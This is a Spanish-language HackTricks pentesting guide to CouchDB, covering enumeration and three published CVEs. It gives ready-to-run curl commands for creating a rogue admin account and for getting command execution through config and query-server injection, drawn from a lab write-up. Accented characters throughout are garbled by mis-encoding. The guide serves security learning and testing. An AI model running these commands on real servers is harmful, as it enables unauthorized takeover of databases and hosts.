# 5984,6984 - Pentesting CouchDB
Aprende hacking en AWS desde cero hasta experto con htARTE (Experto en Red Team de AWS de HackTricks)!
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCI脫N**](https://github.com/sponsors/carlospolop)!
* Obt茅n la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colecci贸n exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **脷nete al** 馃挰 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **s铆guenos** en **Twitter** 馃惁 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
## **Informaci贸n B谩sica**
**CouchDB** es una base de datos **orientada a documentos** vers谩til y potente que organiza los datos utilizando una estructura de **mapa de clave-valor** dentro de cada **documento**. Los campos dentro del documento pueden representarse como **pares clave/valor, listas o mapas**, lo que proporciona flexibilidad en el almacenamiento y recuperaci贸n de datos.
Cada **documento** almacenado en CouchDB se le asigna un **identificador 煤nico** (`_id`) a nivel de documento. Adem谩s, cada modificaci贸n realizada y guardada en la base de datos se le asigna un **n煤mero de revisi贸n** (`_rev`). Este n煤mero de revisi贸n permite un **seguimiento eficiente y la gesti贸n de cambios**, facilitando la recuperaci贸n y sincronizaci贸n de datos dentro de la base de datos.
**Puerto predeterminado:** 5984 (http), 6984 (https)
```
PORT STATE SERVICE REASON
5984/tcp open unknown syn-ack
```
## **Enumeraci贸n Autom谩tica**
```bash
nmap -sV --script couchdb-databases,couchdb-stats -p
msf> use auxiliary/scanner/couchdb/couchdb_enum
```
## Enumeraci贸n Manual
### Banner
```
curl http://IP:5984/
```
Este comando emite una solicitud GET a una instancia de CouchDB instalada. La respuesta deber铆a lucir algo como una de las siguientes:
```bash
{"couchdb":"Welcome","version":"0.10.1"}
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}
```
{% hint style="info" %}
Ten en cuenta que si al acceder a la ra铆z de couchdb recibes un `401 Unauthorized` con algo como esto: `{"error":"unauthorized","reason":"Authentication required."}` **no podr谩s acceder** al banner ni a ning煤n otro endpoint.
{% endhint %}
### Enumeraci贸n de Informaci贸n
Estos son los endpoints a los que puedes acceder con una solicitud **GET** y extraer informaci贸n interesante. Puedes encontrar [**m谩s endpoints y descripciones detalladas en la documentaci贸n de couchdb**](https://docs.couchdb.org/en/latest/api/index.html).
* **`/_active_tasks`** Lista de tareas en ejecuci贸n, incluyendo el tipo de tarea, nombre, estado y ID de proceso.
* **`/_all_dbs`** Devuelve una lista de todas las bases de datos en la instancia de CouchDB.
* **`/_cluster_setup`** Devuelve el estado del nodo o cluster, seg煤n el asistente de configuraci贸n del cluster.
* **`/_db_updates`** Devuelve una lista de todos los eventos de la base de datos en la instancia de CouchDB. Se requiere la existencia de la base de datos `_global_changes` para usar este endpoint.
* **`/_membership`** Muestra los nodos que forman parte del cluster como `cluster_nodes`. El campo `all_nodes` muestra todos los nodos que este nodo conoce, incluidos los que forman parte del cluster.
* **`/_scheduler/jobs`** Lista de trabajos de replicaci贸n. Cada descripci贸n de trabajo incluir谩 informaci贸n de origen y destino, ID de replicaci贸n, un historial de eventos recientes y algunas otras cosas.
* **`/_scheduler/docs`** Lista de estados de documentos de replicaci贸n. Incluye informaci贸n sobre todos los documentos, incluso en estados `completados` y `fallidos`. Para cada documento devuelve el ID del documento, la base de datos, el ID de replicaci贸n, origen y destino, y otra informaci贸n.
* **`/_scheduler/docs/{replicator_db}`**
* **`/_scheduler/docs/{replicator_db}/{docid}`**
* **`/_node/{node-name}`** El endpoint `/_node/{node-name}` se puede utilizar para confirmar el nombre del nodo Erlang del servidor que procesa la solicitud. Esto es m谩s 煤til al acceder a `/_node/_local` para recuperar esta informaci贸n.
* **`/_node/{node-name}/_stats`** El recurso `_stats` devuelve un objeto JSON que contiene las estad铆sticas del servidor en ejecuci贸n. La cadena literal `_local` sirve como un alias para el nombre del nodo local, por lo que para todas las URL de estad铆sticas, `{node-name}` puede ser reemplazado por `_local`, para interactuar con las estad铆sticas del nodo local.
* **`/_node/{node-name}/_system`** El recurso \_system devuelve un objeto JSON que contiene varias estad铆sticas a nivel de sistema para el servidor en ejecuci贸n. Puedes usar \_\_`_local` como {node-name} para obtener informaci贸n actual del nodo.
* **`/_node/{node-name}/_restart`**
* **`/_up`** Confirma que el servidor est谩 arriba, en ejecuci贸n y listo para responder a las solicitudes. Si [`maintenance_mode`](https://docs.couchdb.org/en/latest/config/couchdb.html#couchdb/maintenance\_mode) es `true` o `nolb`, el endpoint devolver谩 una respuesta 404.
* **`/_uuids`** Solicita uno o m谩s Identificadores 脷nicos Universales (UUIDs) de la instancia de CouchDB.
* **`/_reshard`** Devuelve un recuento de trabajos completados, fallidos, en ejecuci贸n, detenidos y totales junto con el estado de reescalado en el cluster.
Se puede extraer informaci贸n m谩s interesante como se explica aqu铆: [https://lzone.de/cheat-sheet/CouchDB](https://lzone.de/cheat-sheet/CouchDB)
### **Lista de Bases de Datos**
```
curl -X GET http://IP:5984/_all_dbs
```
Si esa solicitud responde con un **401 no autorizado**, entonces necesitas algunas **credenciales v谩lidas** para acceder a la base de datos:
```
curl -X GET http://user:password@IP:5984/_all_dbs
```
Para encontrar Credenciales v谩lidas podr铆as **intentar** [**realizar un ataque de fuerza bruta al servicio**](../generic-methodologies-and-resources/brute-force.md#couchdb).
Este es un **ejemplo** de una **respuesta** de couchdb cuando tienes **suficientes privilegios** para listar bases de datos (Es solo una lista de bases de datos):
```bash
["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]
```
### Informaci贸n de la base de datos
Puedes obtener informaci贸n de la base de datos (como el n煤mero de archivos y tama帽os) accediendo al nombre de la base de datos:
```bash
curl http://IP:5984/
curl http://localhost:5984/simpsons
#Example response:
{"db_name":"simpsons","update_seq":"7-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXLIyU9OzMnILy7JAUoxJTIkyf___z8rkQmPoiQFIJlkD1bHjE-dA0hdPFgdAz51CSB19WB1jHjU5bEASYYGIAVUOp8YtQsgavfjtx-i9gBE7X1i1D6AqAX5KwsA2vVvNQ","sizes":{"file":62767,"external":1320,"active":2466},"purge_seq":0,"other":{"data_size":1320},"doc_del_count":0,"doc_count":7,"disk_size":62767,"disk_format_version":6,"data_size":2466,"compact_running":false,"instance_start_time":"0"}
```
### **Lista de Documentos**
Enumera cada entrada dentro de una base de datos
```bash
curl -X GET http://IP:5984/{dbname}/_all_docs
curl http://localhost:5984/simpsons/_all_docs
#Example response:
{"total_rows":7,"offset":0,"rows":[
{"id":"f0042ac3dc4951b51f056467a1000dd9","key":"f0042ac3dc4951b51f056467a1000dd9","value":{"rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329"}},
{"id":"f53679a526a868d44172c83a61000d86","key":"f53679a526a868d44172c83a61000d86","value":{"rev":"1-7b8ec9e1c3e29b2a826e3d14ea122f6e"}},
{"id":"f53679a526a868d44172c83a6100183d","key":"f53679a526a868d44172c83a6100183d","value":{"rev":"1-e522ebc6aca87013a89dd4b37b762bd3"}},
{"id":"f53679a526a868d44172c83a61002980","key":"f53679a526a868d44172c83a61002980","value":{"rev":"1-3bec18e3b8b2c41797ea9d61a01c7cdc"}},
{"id":"f53679a526a868d44172c83a61003068","key":"f53679a526a868d44172c83a61003068","value":{"rev":"1-3d2f7da6bd52442e4598f25cc2e84540"}},
{"id":"f53679a526a868d44172c83a61003a2a","key":"f53679a526a868d44172c83a61003a2a","value":{"rev":"1-4446bfc0826ed3d81c9115e450844fb4"}},
{"id":"f53679a526a868d44172c83a6100451b","key":"f53679a526a868d44172c83a6100451b","value":{"rev":"1-3f6141f3aba11da1d65ff0c13fe6fd39"}}
]}
```
### **Leer Documento**
Lea el contenido de un documento dentro de una base de datos:
```bash
curl -X GET http://IP:5984/{dbname}/{id}
curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9
#Example response:
{"_id":"f0042ac3dc4951b51f056467a1000dd9","_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"}
```
## Escalada de privilegios en CouchDB [CVE-2017-12635](https://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-12635)
Gracias a las diferencias entre los analizadores JSON de Erlang y JavaScript, podr铆as **crear un usuario administrador** con credenciales `hacktricks:hacktricks` con la siguiente solicitud:
```bash
curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json"
```
[**M谩s informaci贸n sobre esta vulnerabilidad aqu铆**](https://justi.cz/security/2017/11/14/couchdb-rce-npm.html).
## RCE de CouchDB
### **Resumen de Seguridad de la Cookie de Erlang**
Ejemplo [desde aqu铆](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
En la documentaci贸n de CouchDB, espec铆ficamente en la secci贸n sobre la configuraci贸n de cl煤ster ([enlace](http://docs.couchdb.org/en/stable/cluster/setup.html#cluster-setup)), se discute el uso de puertos por parte de CouchDB en modo cl煤ster. Se menciona que, al igual que en el modo independiente, se utiliza el puerto `5984`. Adem谩s, el puerto `5986` es para APIs locales de nodos, y es importante destacar que Erlang requiere el puerto TCP `4369` para el Demonio del Mapeador de Puertos de Erlang (EPMD), facilitando la comunicaci贸n entre nodos dentro de un cl煤ster de Erlang. Esta configuraci贸n forma una red donde cada nodo est谩 interconectado con todos los dem谩s nodos.
Se destaca un aviso de seguridad crucial con respecto al puerto `4369`. Si este puerto se hace accesible a trav茅s de Internet o cualquier red no confiable, la seguridad del sistema depende en gran medida de un identificador 煤nico conocido como la "cookie". Esta cookie act煤a como una salvaguarda. Por ejemplo, en una lista de procesos dada, se podr铆a observar una cookie llamada "monster", lo que indica su papel operativo en el marco de seguridad del sistema.
```
www-data@canape:/$ ps aux | grep couchdb
root 744 0.0 0.0 4240 640 ? Ss Sep13 0:00 runsv couchdb
root 811 0.0 0.0 4384 800 ? S Sep13 0:00 svlogd -tt /var/log/couchdb
homer 815 0.4 3.4 649348 34524 ? Sl Sep13 5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b
```
Para aquellos interesados en entender c贸mo esta "cookie" puede ser explotada para la Ejecuci贸n Remota de C贸digo (RCE) dentro del contexto de sistemas Erlang, hay una secci贸n dedicada disponible para lectura adicional. Detalla las metodolog铆as para aprovechar las cookies de Erlang de manera no autorizada para lograr control sobre los sistemas. Puedes **[explorar la gu铆a detallada sobre el abuso de cookies de Erlang para RCE aqu铆](4369-pentesting-erlang-port-mapper-daemon-epmd.md#erlang-cookie-rce)**.
### **Explotando CVE-2018-8007 mediante la modificaci贸n de local.ini**
Ejemplo [aqu铆](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
Se explor贸 una vulnerabilidad recientemente divulgada, CVE-2018-8007, que afecta a Apache CouchDB, revelando que la explotaci贸n requiere permisos de escritura en el archivo `local.ini`. Aunque no es directamente aplicable al sistema objetivo inicial debido a restricciones de seguridad, se realizaron modificaciones para otorgar acceso de escritura al archivo `local.ini` con fines de exploraci贸n. A continuaci贸n, se proporcionan pasos detallados y ejemplos de c贸digo, demostrando el proceso.
Primero, se prepara el entorno asegur谩ndose de que el archivo `local.ini` sea escribible, verificado mediante la lista de permisos:
```bash
root@canape:/home/homer/etc# ls -l
-r--r--r-- 1 homer homer 18477 Jan 20 2018 default.ini
-rw-rw-rw- 1 homer homer 4841 Sep 14 17:39 local.ini
-r--r--r-- 1 root root 4841 Sep 14 14:30 local.ini.bk
-r--r--r-- 1 homer homer 1345 Jan 14 2018 vm.args
```
Para explotar la vulnerabilidad, se ejecuta un comando curl, apuntando a la configuraci贸n `cors/origins` en `local.ini`. Esto inyecta un nuevo origen junto con comandos adicionales bajo la secci贸n `[os_daemons]`, con el objetivo de ejecutar c贸digo arbitrario:
```bash
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf"
```
La verificaci贸n posterior muestra la configuraci贸n inyectada en `local.ini`, contrast谩ndola con una copia de seguridad para resaltar los cambios:
```bash
root@canape:/home/homer/etc# diff local.ini local.ini.bk
119,124d118
< [cors]
< origins = 0xdf
< [os_daemons]
< test_daemon = /usr/bin/touch /tmp/0xdf
```
Inicialmente, el archivo esperado (`/tmp/0xdf`) no existe, lo que indica que el comando inyectado a煤n no se ha ejecutado. Una investigaci贸n adicional revela que hay procesos relacionados con CouchDB en ejecuci贸n, incluido uno que potencialmente podr铆a ejecutar el comando inyectado:
```bash
root@canape:/home/homer/bin# ps aux | grep couch
```
Al terminar el proceso de CouchDB identificado y permitir que el sistema lo reinicie autom谩ticamente, se activa la ejecuci贸n del comando inyectado, confirmado por la existencia del archivo previamente faltante:
```bash
root@canape:/home/homer/etc# kill 711
root@canape:/home/homer/etc# ls /tmp/0xdf
/tmp/0xdf
```
Esta exploraci贸n confirma la viabilidad de la explotaci贸n de CVE-2018-8007 bajo condiciones espec铆ficas, especialmente el requisito de acceso de escritura al archivo `local.ini`. Los ejemplos de c贸digo proporcionados y los pasos procedimentales ofrecen una gu铆a clara para replicar el exploit en un entorno controlado.
Para m谩s detalles sobre CVE-2018-8007, consulta el aviso de mdsec: [CVE-2018-8007](https://www.mdsec.co.uk/2018/08/advisory-cve-2018-8007-apache-couchdb-remote-code-execution/).
### **Explorando CVE-2017-12636 con Permisos de Escritura en local.ini**
Ejemplo [desde aqu铆](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
Se explor贸 una vulnerabilidad conocida como CVE-2017-12636, que permite la ejecuci贸n de c贸digo a trav茅s del proceso de CouchDB, aunque configuraciones espec铆ficas pueden evitar su explotaci贸n. A pesar de la disponibilidad de numerosas referencias de Prueba de Concepto (POC) en l铆nea, se requieren ajustes para explotar la vulnerabilidad en la versi贸n 2 de CouchDB, que difiere de la versi贸n com煤nmente objetivo 1.x. Los pasos iniciales implican verificar la versi贸n de CouchDB y confirmar la ausencia de la ruta esperada de los servidores de consulta.
```bash
curl http://localhost:5984
curl http://0xdf:df@localhost:5984/_config/query_servers/
```
Para dar cabida a CouchDB versi贸n 2.0, se utiliza una nueva ruta:
```bash
curl 'http://0xdf:df@localhost:5984/_membership'
curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers
```
Los intentos de agregar e invocar un nuevo servidor de consultas se encontraron con errores relacionados con los permisos, como se indica en la siguiente salida:
```bash
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
```
Adem谩s de la investigaci贸n inicial, se descubrieron problemas de permisos con el archivo `local.ini`, el cual no era modificable. Al modificar los permisos del archivo con acceso de root o de homer, fue posible continuar:
```bash
cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b
chmod 666 /home/homer/etc/local.ini
```
Los intentos posteriores de agregar el servidor de consultas tuvieron 茅xito, como se demostr贸 por la ausencia de mensajes de error en la respuesta. La modificaci贸n exitosa del archivo `local.ini` fue confirmada mediante la comparaci贸n de archivos:
```bash
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
```
El proceso continu贸 con la creaci贸n de una base de datos y un documento, seguido por un intento de ejecutar c贸digo a trav茅s de un mapeo de vista personalizado hacia el servidor de consulta reci茅n agregado:
```bash
curl -X PUT 'http://0xdf:df@localhost:5984/df'
curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}'
```
Un **[resumen](https://github.com/carlospolop/hacktricks/pull/116/commits/e505cc2b557610ef5cce09df6a14b10caf8f75a0)** con un payload alternativo proporciona m谩s informaci贸n sobre la explotaci贸n de CVE-2017-12636 bajo condiciones espec铆ficas. **Recursos 煤tiles** para explotar esta vulnerabilidad incluyen:
- [C贸digo de exploit POC](https://raw.githubusercontent.com/vulhub/vulhub/master/couchdb/CVE-2017-12636/exp.py)
- [Entrada de Exploit Database](https://www.exploit-db.com/exploits/44913/)
## Shodan
* `port:5984 couchdb`
## Referencias
* [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html)
* [https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution)
Aprende hacking en AWS de cero a h茅roe con htARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCI脫N**](https://github.com/sponsors/carlospolop)!
* Obt茅n el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colecci贸n exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **脷nete al** 馃挰 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **s铆guenos** en **Twitter** 馃惁 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).